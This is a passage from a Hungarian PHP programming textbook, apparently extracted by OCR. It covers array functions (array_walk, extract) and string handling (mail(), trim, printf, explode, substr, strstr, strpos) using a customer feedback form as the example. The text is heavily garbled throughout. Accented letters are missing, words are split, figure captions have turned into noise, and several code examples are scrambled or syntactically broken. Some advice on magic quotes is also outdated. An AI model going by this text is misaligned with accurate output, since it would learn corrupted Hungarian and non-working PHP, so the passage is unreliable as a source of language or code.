madik, felhasznaloi_adat nev paramter opcionlis. Amennyiben hasznljuk, fggvnynk paramterknt megkapja. Rvidesen ltni fogjuk, mindez hogyan mkdik. A felhasznl ltal definilt gyes kis fggvny lehet olyan, amely a tmb nnden elemr meghatrozott formzssal jelenti meg. A kvetkez kd a felhasznl ltal megrt sa j at_kiiratas () fggvnyt a $tomb minden elemvel meghvva j sor ban jelenti meg az egyes elemeket:
function sajat_kiiratas($ertek) ( echo "$ertek<br />";
a rray_walk ($tomb,
'saJat_kiiratas');
A felhasznl, vagyis a mi magunk ltal rt fggvnynek adott nntt kell kvetnie. A tmb nnden eleme esetn az array_
walk fggvny fogja a tmbben trolt kulcsot s rtket, illetve a felhasznaloi_adat paramterknt ltalunk megadott
Fggvnynk az esetek tbbsgben csak a tmbben lev rtkeket fogja felhasznlni. Egyes helyzetek megkvetelherik, hogy a felhaszna l oi_adat paramter segtsgvel valamilyen paramtert acljunk t fggvnynknek. Elfordulhat az is,
70
3. fejezet
hogy az rtk mellett az adott elem kulcsra is szksgnk van. Dnthetnk gy, hogy fggvnynk-a sa j at_ kiiratas () fggvnyhez hasonlan- figyelmen kvl hagyja a kulcsot s a felhas znaloi _adat paramtert. Hogy lssunk egy kicsit sszetettebb pldt, rjunk olyan fggvnyt, amely mdostja a tmbben lv rtkeket, s mkd shez paramtert vr! Br a kulcsra nem lenne szksgnk, a harmadik paramter fogadshoz a kulcsot is fogadnunk kell:
function sajat szorzo fuggveny(&$ertek, $ertek
*=
$kulcs,
$szorzotenyezo) {
$szorzotenyezo;
array_walk(&$array,
3);
A kd definilja a sa j at_szorzo_ fuggveny() fggvnyt, amely a tmb minden elemc megszorozza a megadott szorztnyezvel. Hasznlnunk kell az array_wa lk ( ) harmadik, opcionlis paramtert, hogy az itt megadott rtket pa ramterknt tovbbtsa a fggvnynek, amely szorztnyezknt fogja felhasznlni azt. Mivel szksg van erre a paramterre, gy kell deklarlni a sajat_szorzo_fuggveny () fggvnyt, hogy hrom paramtert fogadjon: a tmb elemnek rtkt
($ertek) , a tmb elemnek kulcst ($kulcs) s a paramtert ($szorzotenyezo) . Aztn persze dnthetnk gy, hogy
a kulccsal nem foglalkozunk.
rdemes felfigyelni az $ertek tadsnak mdjra. A saj at_szorzo_ fuggveny () fggvny deklarlsban a vltoz neve eltti s (&)jel azt jelenti, hogy az $ertek paramter hivatkozsknt addik t. A hivatkozs szerinti tads lehetv te szi, hogy a fggvny mdosthassa a tmb tartalmr. A hivatkozs szerinti paramtertadssal az 5. fejezetben rszletesebben is foglalkozunk. Ha nem ismers szmunkra ez a fogalom, akkor egyelre elg annyit megjegyezni, hogy a hivatkozs szerinti tadshoz s (&)jelet helyeznk a vltoznv el.
array(4,
5,
l,
2,
3,
l,
2,
l);
$ac = array_count_values($tomb);
egy $ac nev tmbt hoz ltre, amely a kvetkezket tartalmazza: Kulcs 4 5 l 2 3
rtk
l
3 2 l
Az eredmny tudatja velnk, hogy a 4, az 5 s a 3 egyszer fordul el az $array tmbben, az l hromszor, a 2 pedig ktszer.
[,
1nt extract_tipusa]
[,
string elotagJ
);
Az extract() fggvny clja, hogy fogja a tmbt, s a benne lv kulcsok neveivel skalris vltozkat hozzon ltre. E vl tozk rtknek a tmbben trolt rtkeket rendeli. Nzzk ezt az egyszer pldt:
$tomb
=
array( 'kulcsl'
=>
'ertekl',
'kulcs2'
=>
'ertek2',
'kulcs3'
=>
'ertek3');
Tmbk hasznlata
71
A tmb hrom elemmel rendelkezik, ezek kulcsa rendre: kulcsl, kulcs2 s kulcs3. Az extract () fggvny h rom skalris vltozt hoz ltre: $kulcsl, $kulcs2 s $kulcs3. A kimenetbl lthatjuk, hogy a $kulcsl, $kulcs2 s
$kulcs3
rtke rendre 'ertekl ', 'ertek2' s 'ertek3 '.Ezek az rtkek az eredeti tmbbl szrmaznak.
Az extract () fggvny kt opcionlis paramterrel br: extract _tipusa s elotag. Az extract_tipusa vltoz kzli a fggvnnyel, hogy miknt kezelje az sszetkzseket. Ezek azok az esetek, ame lyekben mr ltezik a kulccsal egyez nev vltoz. Az alaprtelmezett lehetsg a meglv vltoz fellrsa. Az extract_
tipusa
Tpus
EXTR OVERWRITE EXTR SKIP EXTR PREFIX SAME
Jelents
tkzs esetn fellrja a meglv vltozt. tkzs esetn kihagyja az adott elemet. tkzs esetn $elotag_ kulcs nev vltozt hoz ltre. Ehhez meg kell adni az
elotag
paramtert.
Az elotag paramterben meghatrozott eltaggal ltja el a vltozneveket. Ehhez meg kell adni az elotag paramtert. Az elotag paramterben meghatrozott eltaggal ltja el a msklnben rvnytelen vltozneveket (pldul a csak szmokbl ll neveket). Ehhez meg kell adni az elotag paramtert.
EXTR IF EXISTS
Csak a mr ltez vltozkat nyeri ki (vagyis a tmbben lv rtkeket ltez vltozkba rja). Ez a paramter pldul a $ REQUEST rvnyes vltozk halmazra konvertls
_
nl alkalmazhat.
EXTR-PREFIX-IF-EXISTS EXTR REFS
Ha a vltoz eltag nlkli vltozata mr ltezik, eltaggal elltott vltozatt hozza ltre. Hivatkozsknt nyeri ki a vltozkat.
A paramter kt leghasznosabb rtke az EXTR_OVERWRITE (az alaprtelmezett) s az EXTR_PREFIX_ALL. Alkalman knt a tbbi lehetsg is hasznos lehet, pldul olyankor, amikor risztban vagyunk azzal, hogy egy adott tkzs be fog k vetkezni, s ki akarjuk hagyni, vagy eltaggal kivnjuk elltni az adott kulcsot. Lssunk most egy egyszer, az EXTR_PREFIX_
ALL
rtket hasznl pldt! Figyeljk meg, hogy az itt ltrehozott vltozk neve eltag-alulvons-kulcsnv:
=
$tomb
array (
'kulcsl'
>
'ertekl',
'kulcs2'
>
'ertek2',
'kulcs3'
=> 'ertek3');
extract ($array,
EXTR_PREFIX_ALL,
'sajat_elotag');
Jegyezzk meg, hogy ha az extract () fggvnnyel szeretnnk egy elemet kinyerni, az elem kulcsnak rvnyes vltoz nvnek kell lennie, vagyis a szmmal kezdd vagy szkzket tartalmaz kulcsokat a fggvny tugorja!
Tovbbi olvasnival
Ez a fejezet a PHP ltalunk leghasznosabbnak vlt tmbfggvnyeit mutatta be. Szndkosan nem vllalkoztunk
a az
sszes
tmbfggvny trgyalsra. A http://www.php.net/array cmen elrhet online PHP kziknyvben rnindegyiknek megtalljuk rvid lerst.
Hogyan tovbbi
A kvetkez fejezetben a karakterlncokat feldolgoz fggvnyekrl tanulunk. Azokkal a fggvnyekkel foglalkozunk, amelyek szeringeket keresnek, cserlnek, illetve felosztjk s egyestik ket. Megismerkednk a regulris kifejezsek fggvnyeivel, ame lyekkel szinte brmilyen mveletet elvgezhetnk a karakterlncokon.
4
Karakterlncok kezelse s regulris kifejezsek
Ebbl a fejezetbl kiderl, hogyan hasznljuk a PHP szeringkezel fggvnyeit szveg formzsra s kezelsre. Azt is meg crgyaljuk, miknt lehet szeringkezel fggvnyekkel s regulris kifejezsek fggvnyeivel szavakra, kifejezsekre vagy karak cerlncon belli egyb szvegmintkra keresni (s Icicserlni azokat). Ezek a fggvnyek szmtalan klnbz helyzetben igen hasznosak rudnak lenni. Gyakran van szksg arra, hogy adatb zisban troland felhasznli inputot rendbe tegynk vagy rformzzunk. A keresfggvnyek kivlan alkalmasak - egyebek kztt keresmotor-alkalmazsok fejlesztsre. A fejezeeben az albbi fbb tmakrket trgyaljuk: Karakterlncok formzsa Karakterlncok egyestse s szrvlasztsa Karakterlncok sszehasonltsa Rszszrringek keresse s cserje szeringkezel fggvnyekkel Regulris kifejezsek hasznlata
-U - --.6- .,4-,..2 ; : _
e..---. ........... ... _ __
Vsrlk zenetei
koeeljr ...... .... -----
----
--
--
...._ ------
----
-- -------------
--------------
--
'------------------- _, to........... l
4.1
bra: Bob visszajelzst vr rlapja az gyfelek nevt, e-mail cmt s szrevteleit kri.
74
4. fejezet
Induljunk ki a 4.1 pldakdban tallhat, egyszer kdbl, s olvass kzben bvtsk s fejlesszk azt!
4.1 pldakd: uzenet_ feldolgozasa.ph p- Az rlap tartalmnak elkldshez hasznlt kiindul kd <?php
//rvid vltoznevek ltrehozsa $nev=$ POST['nev ']; $email=$_POST[' email']; $uzenet=$ POST[ ' uzenet ']; //statikus informcik belltsa $cmzett "uzenet@pelda.com"; "zenet a honlaprl"; ''Vev neve: ''.$nev.' '\n'' . "Vev e-mail cme: ".$email."\n". "Vev zenete:\n".$uzenet."\n";
$targy
$level_tartalma
$felada = "Felad: webszerver@pelda.com"; //mail() fggvny meghvsa az zenet elkldsre mail($cimzett, ?> <html> <head> <title>Bob autalkatrszek - zenet elkldve</title> </head> <body> <hl>zenet elkldve</hl> <p>zenett elkldtk.</p> </body> </html> $targy, $level tartalma, $felada);
ltalban ellenriznnk-pldul az isset( ) fggvnnyel- hogy a felhasznl az rlap minden ktelez mezjt kitl , ttte-e. Kdunkbl a tmrsg kedvrt kimaradt ennek a fggvnynek a meghvsa. A kdbl lthat, hogy az rlapmezket sszefztk, s a PHP mail () fggvnyvel elkldtk e-mailben az u zenet@
pelda.com cmre. Ez egy minta e-mail cm. Amennyiben tesztelni szeretnnk a fejezetben fejlesztert kdot, cserljk ezt sajt
e-mail cmnkre! Mivel idig mg nem hasznltuk a mail( ) fggvnyt, nzzk meg elszr is azt, hogy hogyan mkdik! Taln nem meglep, hogy a fggvny e-mailt kld. Prototpusa a kvetkezkppen nz ki:
bool mail(string cmzett, tovabbi_parameterek]]); string targy, string uzenet, string [tovabb1 fejlee [, string
Az els hrom- nem mellesleg ktelez- paramterben az e-mail cmzettjt, a trgysor szvegt, illetve magt az zene tet adjuk meg. A negyedik paramterrel tovbbi rvnyes e-mail fejlceket kldhetnk. Az rvnyes e-mail fejlcek lerst az RFC822 dokumentumban talljuk, amely-ha tovbbi rszleteket szeretnnk megtudni-online elrhet. (Az RFC, azaz Request for Comment- magyarui.Megjegyzs krs'- tbb internetszabvnynak a forrsa. Rszletesen a Hlzati s pro tokol!fggvtJyek hasznlata cm 20. leckben foglalkozunk velk.) A negyedik paramter jelen esetben Felad: cmer ad az zenethez. Hasznlhatnnk mg egyebek kztt a Vlaszcm: s Msolat: mezt is. Ha egynl tbb tovbbi fejlcet kivnunk az zenethez adni, a karakterlncon bell jsor s kocsi vissza karaktert (\n\r) hasznlva vlaszthatjuk el ket egymstl, mint pldul itt:
$tovabbi fejlecek="Felad: webserver@pelda.com\r\n " . ' Vlaszcm: bob@pelda.com";
75
A mai l () fiiggvny hasznlathoz be kell lltanunk a PHP-t, hogy az zenetkld alkalmazsunkra mutasson. Ha a kd jelenlegi llapotban nem mkdik a rendszernkn, akkor valamelyik teleptsi bellts lehet a Iudas; tekintsk t a Fgge lkben A PHP s
a
MySQL
teleptst!
A fejezet sorn ezt a kdot fogjuk a PHP szeringkezel fiiggvnyeinek, illetve a regulris kifejezsek fggvnyeinek alkalma zsval tkletesteni.
Karakterlncok formzsa
Gyakran elfordul, hogy hasznlatuk eltt rendbe kell szednnk a felhasznlk ltal- jellemzen HTML rlapon keresz tl - bevitt karakterlncokat. A most kvetkez rszekben az ilyen clra rendelkezsnkre ll fiiggvnyek kzl mutatjuk be a fontosabbakat.
$uzenet
trim($_POST['uzenet');
A trim() fiiggvny eltvoltja a karakterlnc elejrl s vgrl a fehrkzket, s az gy kapott sztringer adja vissza. A fggvny ltal alaprtelmezsben eltvoltott karakterek kz az jsor s a kocsi vissza karakterek ( \n s \r) , a vzszintes s fggleges tabuttorok (\t s \xOB ) , a szering vge karakter (\0 ) s a szkzk tartoznak. Egy msodik- opcionlis -paramterben megadhatjuk az ezen alaprtelmezett karakterek helyett eltvoltand karakterek listjt. Az adott cltl fug gen hasznlhatjuk az l trim () vagy az rtrim () fiiggvnyt is. Mindkett a trim () fiiggvnyhez hasonl, a szban forg karakterlncot fogadjk paramterknt, s a formzott sztringet adjk vissza. A hrom fuggvny kztt az a klnbsg. hogy a trim () a karakterlnc elejrl s vgrl, az l trim () csak az elejrl (bal oldalrl), az rtrim() csak a vgrl (jobb olda lrl) tvoltja el a fehrkz karaktereket.
Ne feledjk, hogy a HTML figyelmen kvl hagyja a sima fehrkz karaktereket, gy ha nem szrjk meg a kimenetet a nl2br ( ) fiiggvnnyel, a bngszablak ltal esetlegesen kiknyszertett sortrseket leszmtva egyetlen sorban fog megje lenni. Az eredmnyt a 4.2 brn ltjuk.
Karakterlncformzsa nyomtatshoz
Idig az echo nyelvi szerkezettel jelentettk meg a bngszben a karakterlncokat. A PHP a print ( ) fiiggvnyt is t mogatja, amely ugyanazt teszi, mint az echo, m rendelkezik visszatrsi rtkkel (am az eredmnytl fuggen true vagy
false ) .
76
4. fejezet
t..
..... _......_
VM>-.Milu.W....\'""'..-:_....,..\--.:-.Iq)--....... . _ .......
"'"'4-.:1.'-oH,,..
::::::.._.-..--...._
........._
4.2 bra: A PHP nl2br () fggvnyvel tetszetsebb tehet a hossz karakterlncok HTML-en belli megjelentse. Mindkt mdszer .as is'; azaz aktulis formjban nyomtatja ki a karakterlncot.A printf ( ) s a sprintf () fgg vnnyel nmileg kifinomultabb formzst is vgrehajthatunic Alapveterr ugyangy mkdnek, azzal a klnbsggel, hogy a printf () megjelenti a bngszben a formzott sztringet, az sprintf ()pedig visszatrsi rtkknt adja vissza. Ha programozrunk mr korbban C-ben, akkor ltni fogjuk, hogy ezek a fggvnyek mkdsket tekintve C-beli trsaik hoz hasonlak.Vigyzzunk azonban, mert szintaktikjuk nem teljesen azonos! Ha nem dolgozrunk mg ezekkel a fggvnyek keL nmi idre lehet szksg, mg megszakjuk hasznlarukat, m igen hasznosnak s hatkonynak fogjuk tallni ket.
[,
(string formatum
mixed parameterek...])
Mindkt fggvny els paramtere egy formtumsztring, amely vltozk helyett formz kddal rja le a kimenet alakjt. A tovbbi paramterek a formrumsztringbe helyettestett vltozk. Az ee ho fggvny esetben hasznlhatjuk soron bell a megjelenteni kivnt vltozkat, ahogy az albbi plda is mutatja:
echo "A rendels vgssszege: $total.";
$total);
A formtumsztringben lv %s-t konverzis specifikcinak nevezzk.Ez azt jelenti, hogy .karakterlnccal helyettestend': Jelen esetben a karakterlncknt rtelmezett $total vltoz helyettesti. Ha az ebben a vltozban trolt rtk mondjuk 12.4, akkor mindkt mdszer esetn a 12 . 4 jelenik meg a bngszben. A printf () alkalmazsnak elnye, hogy pontosabb konverzis specifikcit hasznlharunk annak meghatrozsra, hogy a $total valjban egy lebegpontos szm, amely a tizedespont (magyar jells esetn tizedesvessz) utn kt tizedesjegyet kell, hogy tartalmazzon. A kvetkez kddal rhetjk ezt el:
printf
%.2f",
$total);
Ha ilyen formzs esetn a $total vltozban 12.4 az eltrolt rtk, akkor az utasts 12. 4 O-knt fogja azt megjelenteni. A formtumsztringben tbb konverzis specifikcit is megadhatunk.Amennyiben lecserlni az tformzott argumentumok. Nzzk az albbi pldt:
printf
n
akkor ltalban n argumentum szerepel a formtumszering utn.A konverzis specifikcikat a listabeli sorrendben fogjk ("A rendels vgsszege:
%.2f (szllitssal egytt: %.2f) ", $total, $total
szallitas);
Itt az els konverzis specifikci a $total, a msodik a $total_ szallit as vltozr hasznlja. Mindegyik konverzis specifikci ugyanazt a formtumot kveti, ami a kvetkez:
%['kitolto_karakter][-][szelesseg] [.pontossag]tipus
Minden konverzis specifikci a % szimblummal kezddik.Ha tnylegesen a % szimblumot kivnjuk megjelenteni, akkor a %% karaktereket kell hasznlni. A kitolto_karakter opcionlis.Clja, hogy a vltozt az ltalunk meghatrozott szlessgre tltse ki.Plda lehet r egy szmll el rakott nullk sorozata. Az alaprtelmezerr kitlt karakter a szkz.Ha szkzt vagy nullt hatrozunk meg, nem szksges el aposztrfot ( ' ) helyezni.Brmilyen ms kitlt karaktert eltagknt aposztrffal kell elltni. A - szimblum szintn opcionlis. Azt lltja be, hogy a mezben lv adat az alaprtelmezett jobbra igazts helyett balra igaztva jelenik meg.
77
A szelesseg paramter kzli a printf () fggvnnyel, hogy (karakterben szmolva) mennyi helyet hagyjon az ide be
helyettestend vltoznak.
A pontos sag paramternek tizedesponttal kell kezddnie, s tartalmaznia kell a tizedespont (tizedesvessz) utn megje
tblzat: A
Tpus
b
c d
Jelents
Egszknt rtelmezi, s binris szmknt jelenti meg. Egszknt rtelmezi, s karakterknt jelenti meg. Egszknt rtelmezi, s decimlis szmknt jelenti meg Double tpusknt rtelmezi, s lebegpontosknt jelenti meg. Egszknt rtelmezi, s nyolcas szmrendszerbeli szmknt jelenti meg. Karakterlncknt rtelmezi s jelenti meg. Egszknt rtelmezi, s eljel nlkli decimlis szmknt jelenti meg. Egszknt rtelmezi, s hexadecimlis szmknt jelenti meg kisbets a-f szmjegyekkeL Egszknt rtelmezi, s hexadecimlis szmknt jelenti meg nagybets A-F szmjegyekkeL
f
o
u x x
A printf () fggvny konverzis tpuskdokkal val hasznlata esetn alkalmazhatunk argumentumszmozst. Ez azt
jelenti, hogy argumentumainak nem szksges a konverzis specifikcikkal megegyez sorrendben lennik. Pldul:
printf
%1\$.2f)
",
Stotal_szallitas,
Csupn annyit kell tennnk, hogy az argumentum listabeli pozcijt kzvetlen l a% jel utn rjuk, s mg egy vdka rakterrel, vagyis \jellel elltott $ szimblumot helyeznk; ebben a pldban a 2\$ azt jelenti, hogy .,helyettestsd a listban msodik argumentummal!': Ezzel a mdszerrel ismtelni is lehet az argumentumokat.
A fuggvny kt alternatv vltozarnak vprintf () s vsprintf () a neve. Ezek kt paramtert fogadnak: a formtum
Fggvny
strtoupper()
Lers
Nagybetss alaktja a karakterlncot Kisbetss alaktja a karakterlncot A karakterlnc els karaktert nagybetss alaktja (amennyiben az alfabetikus karakter) Nagybetss alaktja a karakterlnc minden, alfabetikus karakterrel kezdd szavnak els karaktert
Hasznlat
$targy strtoupper($targy)
rtk
zenet a honlaprl ZENET A HONLAPRL zenet a honlaprl zenet a honlaprl
strtolower() ucfirst()
strtolower($targy) ucfirst($targy)
ucwords()
ucwords ($targy)
zenet A Honlaprl
78
4. fejezet
addslashes(trim($_POST['uzenet']));
A szeringkezel fggvnyek tbbsghez hasonlan az adds lashes( ) is paramterknt fogadja a karakterlncot, majd tformzott karakterlncknt aclja vissza. A 4.3 brn ezeknek a fggvnyeknek a karakterlncra gyakorolt hatst lrhatjuk. Ha sajt szervernkn is kiprbljuk a fggvnyeket, elkpzelhet, hogy a 4.4 brn lthathoz hasonl eredmnyt kapunk.
4
.lu---- -s-,,,....._. ....... CI'91-t-.,...
,. .... _
.. ..,_" ..........
4.3 bra: Az addslashes ()fggvny meghvsa utn az idzjelek visszaperjellel lettek kiemelve.
4.4 bra: Minden problms karakter dupln lett kiemelve; ez azt jelenti, hogy a magic quotesfunkci be van kapcsolva.
Ez az utbbi eredmny azt jelzi, hogy a PHP gy lett belltva, hogy automatikusan eltvolrja a visszapetjeleket. Ezt a funkcit a magi c_quotes_gp c konfigurcis bellts szablyozza. A gpc, amely a PHP j teleptseinl alaprtelmezsben be van kap csolva, a GET, a POST s a cookie szra utal. Ez azt jelenti, hogy az ezekbl a forrsokbl szrmaz vltozk esetben automatiku san visszaperjel kerl a problms karakterek el. Amennyiben a bellts be van kapcsolva rendszernkn, a felhasznli adatok megjelentse eltt meg kell hvnunk a stripslashes () fggvnyt, klnben megjelennek a visszaperjelek is. A magic quotes funkci hasznlata hordozhatbb teszi kdunkat. A funkcirl rszletesebben olvasharunk az Egyb hasz
nosfunkcik cm 24. leckben.
79
explode (),amely
az
string input [,
A fggvny fogja az in put paramterben meghatrozott karakterlncot,s az elvalasz to sztring ltal meghatrozol:t elvlaszt karakter mentn darabokra bontja. A z gy kapott darabokat egy tmbbe helyezi. A darabok szmt az opcionlis
limit paramterrel korltozhatjuk.
A kvetkez kdot kell hasznlnunk arra,hogy az gyfl e-mail cmbl megrucijuk domainnevt:
$email_tomb
=
explode ( '@',
$email);
Az explode () fggvny fenti paramterekkel trtn meghvsa kt rszre bontja az gyfl e-mail cmt: a felhasznli nvre,amely az $email_tomb[O l, illetve a domainnvre,amely az $email_tomb [l] tmbelemben troldik el. Most mr kpesek vagyunk a domainnevet ellenrizve megllaptani,melyik vllalatnl dolgozik az gyfl,s zenett ennek megfelelen tovbbtani a clszemlynek:
if ($email tomb[l]
$cimzett else { $cimzett
= ==
"nagyugyfel.com")
"bob@pelda.com";
"uzenet@pelda.com";
Amennyiben azonban a domainnv nagybetvel vagy kis- s nagybetvel vegyesen van szedve,ez a megkzelts nem fog mk dni. gy tudjuk kezelni ezt a problmt, hogy a domainnv csupa nagybetre vagy csupa kisbetre konvertlsa utn ellenrizzk az egyezsget:
if (strtolower($email_tomb[l])
$cimzett e lse { $cimzett
= ==
"nagyugyfel.com")
"bob@pelda.com";
az
implode('@',
$email tomb);
Ez az utasts fogja az $email_tomb tmbelemeket,s az els paramterknt megadott sztringgel egyesti azokat. A fgg vnyt az explode ()-hoz hasonlan hvjuk meg. m hatsa pont ellenttes.
Az elvlaszt lehet karakter s karakterlnc is,de a bemeneti karakterlncot-az explode fggvnnyel ellenttben- nem a reljes elvlaszt karakterlncon,hanem az elvlaszt karakterlnc minden egyes karaktere mentn elvlasztja. A strtok () meghvsa nem annyira egyszer, ahogy azt a prototpus alapjn gondolhatnnk. A hhoz,hogy a karakter lncbl megkapjuk az els tokent,kt paramterrel, a karakterlnccal s az elvlasztval hvjuk meg a strtok() fggvnyt. Ahhoz, hogy a karakterlncbl
az ezt
elvlasztt. A fggvny a karakterlncon bell megrzi sajt bels mutatjnak helyt. Ha vissza akarjuk lltani a mutatt a karakterlnc elejre,paramterknt jra tadjuk a fggvnynek.
80
4. fejezet
!= nn}
ltalban rdemes ellenrizni, hogy az gyfl rt-e brmilyen zenetet az rlapra; ezt pldul az empty (} fggvnnyel te hetjk meg. Az egyszersg kedvrt a pldbl kihagytuk ezeket az ellenrzseket. Az elz kd kln sorban jelenti meg az gyfl zenetben lv minden egyes cokent, s mindaddig fut a ciklus, amg van token. Az res karakterlncokat automatikusan tlpi e folyamat kzben.
A fggvny asztring karakterlncbl kimsolt rszsztringet ad vissza. A kvetkez pldk az albbi tesztsztringer hasznljk:
$teszt =
Amennyiben a fggvnyt a start paramternl csak egy pozitv szmot megadva meghvjuk, a start pozcitl a karak terlnc vgig tart rszsztringet adja vissza. Pldul a:
substr ($teszt,
az
l};
gyflszolglatuk igen kivl karakterlncot adja vissza. A karakterlncon belli pozci a tmbkhz hasonl
an O-val indul. Amennyiben a substr (} fggvnyt csak egy negatv start paramterrel hvjuk meg, a karakterlnc utols start karak tert kapjuk vissza. A
substr ($test, -6};
fggvny ennek megfelelen a kiv l karakterlncot eredmnyezi. A hossz paramtert arra hasznlhatjuk, hogy meghatrozzuk a visszaadand karakterek szmt (pozitv rtk esetn), illetve a visszaadott karaktersor utols karaktert (negatv rtk esetn). A
substr ($teszt,
O,
6};
fggvny a karakterlnc utols hat karaktert adja vissza- ami jelen esetben az gyfl. Az
echo substr ($test,
18,
-7};
kd a negyedik s a htulrl hetedik karakter kztti karaktereket aclja vissza- jelen esetben az igen karakterlncot. Az els karakter a O. pozci, gy a 18. pozci a tizenkilencedik karaktert jelli.
Karakterlncok sszehasonltsa
Idig csak azt lttuk, hogyan hasznljuk a
==
s kifinomultabb sszehasonltsokra is lehetsget ad. Kt kategriba csoportostottuk ezeket: rszleges egyezsg s egye bek. Elszr az egyebek kategrival foglalkozunk, majd ezt kveten trnk r a rszleges egyezsgre, amelyre az intelligens rlap tovbbfejlesztshez szksgnk lesz.
A fggvny kt karakterlncot fogad, s sszehasonltja ezeket. Egyenlsgk esetn visszatrsi rtke O. Ha az str l b crendben az str2 utn kvetkezik (vagy nagyobb nla), akkor az strcmp (} fggvny egy nullnl nagyobb szmmal tr
81
vissza. Amennyiben str l kisebb, mint str2, az s trcmp () visszatrsi rtke nullnl kisebb. A fuggvny megklnbzteti a kis- s nagybetket. Az strcasecmp () fuggvny pontosan ugyangy viselkedik, azonban nem tesz klnbsget a kis- s nagybetk kztt. Az strnatcmp () fuggvny s a kis- s nagybetket nem megklnbztet testvre, az strnatcasecmp () a,.term szetes rendezsnek" megfelelen hasonltja ssze a karakterlncokat, ami jobban megfelel az ember hagyomnyos rendezsi elveinek. Az strcmp( ) szerint pldul karakterlncok esetn a 2 nagyobb, mint a 12, mivel lexikografikusan nagyobb. Az strnatcmp() pont fordtva rangsorolja ket. A termszetes rendezsrl bvebben is olvasharunk a http://www . naturalordersort.org/ oldalon.
A fggvny beviteli adat ellenrzsre is alkalmas. Gondoljunk bele a mintarlapon lv e-mail cmbe, amit az $email vl tozban trolunk! Az e-mail cm ellenrzsnek legegyszerbb mdszere a hossznak megllaptsa. Egy e-mail cm legalbb hat karakter hossz: pldul a@a. to, amelyben az orszgkdhoz nem tartozik msodik szint domain, illetve a szervernv s a felhasznl cme egy-egy betbl ll. Ha a felhasznl ltal megadott e-mail cm nem ri el ezt a karakterhosszt, akkor hiba kvetkezik be:
if (strlen($email) <
6) (
ll a
PHP
rdemes megemlteni, hogy azstlen () fggvny nem jl kezeli a tbb-bjtos kdols (UTF-7, UTF-8, Unicode) sztringeket. Tapasztalatok szerint elssorban az , , , , ,
int mb_strlen ( string $str
a szering hosszt. Unicode kdolskor hasznljuk inkbb az mb_strlen () fggvnyt, amelynek prototpusa a kvetkez: [,
string $kodolas
A fggvnyben a $str paramter a vizsgland karakterlncot tartalmazza, az opcionlis $kodolas paramterrel pedig megadhatjuk, hogy hny bites az radott karakterlnc. Az elz plda UTF-8 kdols szvegre:
if (rnb_strlen($email) <
6) ( ll vagy mb strlen($email,
'Bbit')
Fontos megjegyezni, hogy az,.mb_" csaldba tartoz fggvnyek nem alaprtelmezett PHP knyvtrban vannak, gy krjk a rendszergazdt, hogy teleptse a Mulribyte String knyvtrat! Tovbbi informcit a PHP kziknyv http://www.php.net/ manual/ en/book.mbstring.php oldaln tallunk. A fenti megkzelts az informci ellenrzsnek rendkvl leegyszerstett mdja. A kvetkez rszben finomabb md s zereket fogunk megvizsglni.
82
4. fejezet
Karakterlncok keresse karakterlncban: strstr (), strchr (), strrchr () s str istr () fggvny
Ha karakterlncon bell keresnk msik karakterlncot,az strstr (),az strchr (),az strrchr () vagy az stristr () fggvnyt hasznlhatjuk. A legltalnosabb ezek kzl az strstr (),amellyel nagyobb karakterlncban kereshetnk szrring- vagy karakreregye zsger. PHP-ben az strchr () fggvny pontosan megegyezik az strstr () fggvnnyel,br neve azt sugallja,hogya C-programnyelvbeli vltozarhoz hasonlan - karakter szrringen belli keressre hasznljuk. PHP-ben mindkt fggvny alkalmas karakterlncon belli karakterlnc keressre,s a keresett karakterlnc llhar akr egyeden karakterbl is. Az strstr() prototpusa a kvetkez:
string strstr(string szenakazal, string tu);
A fggvnynek kr paramtert adunk r: az egyik a karakrerlnc,amelyikben keressen ( szenakazal ) , a msik pedig az, amir keressen (tu).Amennyiben rkleres egyezsger tall,a fggvny a tu-rl indulva visszaadja a szenakazal karakter lncot; ha nincs egyezsg,akkor false rtkkel tr vissza. Amennyiben a tu egynl tbbszr elfordul,a visszaadott karak terlnc az els elfordulsval kezddik. Intelligens rlapunkban pldul meghatrozhatjuk,hogy adott feltrelek reljeslse esern hova cmeuk az e-mailt:
$cmzett = 'uzenet@pelda.com';
ll az alaprtelmezett e-mail cm
else if (strstr($uzenet,
'kiszllts'))
---'
'penzugy@pelda.com';
A kd adott kulcsszavakar keres az zenetben,s megltk esern a megfelel szemlynek tovbbrja azt. Amennyiben az " gyfl zenere pldul az albbi:"Mg mindig nem trtnt meg urols rendelsemnl a kiszllrs;' a kd szleli a "kiszllirs kulcsszr,s ennek megfelelen a
szallitas@pelda.com
cmre kldi az zeneter. Az strstr() fggvnynek kr varinsa is ltezik. Az els az stristr (),ami maJdnem teljesen megegyezik vele,m nem tesz klnbsget a kis- s nagybetk kzrt. Jelen alkalmazshoz ez a vltozar inkbb megfelel,mert az gyfl a kis- s nagy betk tetszleges keverkt hasznlhatja a kulcsszavakban (pldul" kiszllts", "Kiszllts", "KISZLLTS" ) . A msodik vltozar az strrchr (),ami snrn majdnem megegyezik az eredetivel,m a tu utols elfordulsrl adja vissza a szenakazal szrringer.
A fggvny ltal visszaadott egsz szm a tu karakterlnc szenakazal sztringen belli els elfordulsnak pozcijt mutatja. Az els karakter pozcija szoks szerm O. A kvetkez kd pldul a 4-es rtket ratja ki a bngszvel:
$teszt = "Hell, vilg!"; "o"); echo strpos($teszt,
Ez a kd egyeden karaktert ad t keressi kifejezsknt, noha az brmilyen hossz karakterlnc is lehetne. Az opcionlis offset paramter egy, a szenakazal karakterlncon belli pontot hatroz meg,ahonnan a keress indi tand. Vegyk pldul a kvetkez kdot:
echo strpos($teszt, 'o',
5);
Ez a 7 -es rtker rarja ki a bngszvel, mivel a PHP az 5. pozcirl kezdve keresi az o karaktert, gy nem fogja megtallni a 4. pozciban levt.
83
Az strrpos () fggvny szinten teljesen megegyezik az strpos ()-sal, m a tu utols elfordulsnak a pozcijt adja vissza. Amennyiben a keressi kifejezs nem tallhat a karakterlncban, az strpos () s az strrpos () is false rtkkel tr vissza. Ez akr problmt is jelenthet, mivel egy olyan gyengn tpusos nyelvben, mint a PHP, a false a O-val egyenrtk
"H");
if ($eredmeny
else
===
false)
". $eredmeny;
<add res s>-t pedig cmre cserlve.Alkalmas konkrt kifejezsek moderlsra- pldul nyilvnos frumok vagy akr a most fejlesztett intelligens rlapunk eset.n is. Erre a clra a sztringkezel fggvnyek s a regulris kifejezsek fggvnyei is
megfelelnek. A leggyakrabban hasznlt sztringcserl fggvny az str_replace ().A kvetkez prototpussal rendelkezik:
Megjegyzs: Minden paramter tadhat tmbknt, s az str_replace ()fggvny mdfelett intelligensen mkdik. At
